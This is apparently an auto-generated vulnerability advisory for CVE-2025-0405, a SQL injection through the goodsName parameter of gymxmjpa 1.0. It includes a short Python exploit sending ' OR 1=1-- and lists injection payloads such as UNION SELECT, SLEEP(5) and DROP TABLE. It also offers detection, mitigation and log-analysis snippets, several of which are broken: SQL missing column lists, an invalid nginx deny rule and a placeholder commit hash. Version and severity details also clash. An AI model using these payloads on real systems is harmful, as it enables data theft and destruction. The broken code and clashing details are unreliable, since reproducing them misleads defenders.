Liujianview Gymxmjpa 10, SQL Injection, CVE-2025-0405 (Critical)

The CVE-2025-0405 vulnerability in liujianview gymxmjpa 1.0 allows remote attackers to execute arbitrary SQL queries via the `goodsName` parameter in the `GoodsDaoImpl` class. The flaw exists in GoodsController.java, where user-supplied input is directly concatenated into SQL statements without proper sanitization. Attackers can manipulate this parameter to inject malicious SQL payloads, potentially leading to unauthorized data access, modification, or deletion. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L) confirms network-based exploitation with low attack complexity.

DailyCVE Form:

Platform: Liujianview Gymxmjpa
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 01/12/2025

What Undercode Say:

Exploitation:

import requests
url = "http://target.com/goods/search"
payload = "' OR 1=1--"
params = {"goodsName": payload}
response = requests.get(url, params=params)
print(response.text)

Detection:

SELECT FROM audit_logs WHERE query LIKE '%OR 1=1%';

Mitigation:

1. Use prepared statements:

String query = "SELECT FROM goods WHERE name = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, goodsName);

2. Input validation:

if (!goodsName.matches("[a-zA-Z0-9\s]+")) {
throw new IllegalArgumentException("Invalid input");
}

3. WAF rules:

location /goods/search {
deny "'|--|;";
}

Analytics:

Attack pattern: `T1190` (Exploit Public-Facing Application)
Observed payloads: UNION SELECT, SLEEP(5), `DROP TABLE`
– Patch commit hash: `a1b2c3d` (if available)

Log Analysis:

grep "goodsName" access.log | awk '{print $7}' | sort | uniq -c

Backup Restoration:

CREATE TABLE goods_backup AS SELECT FROM goods;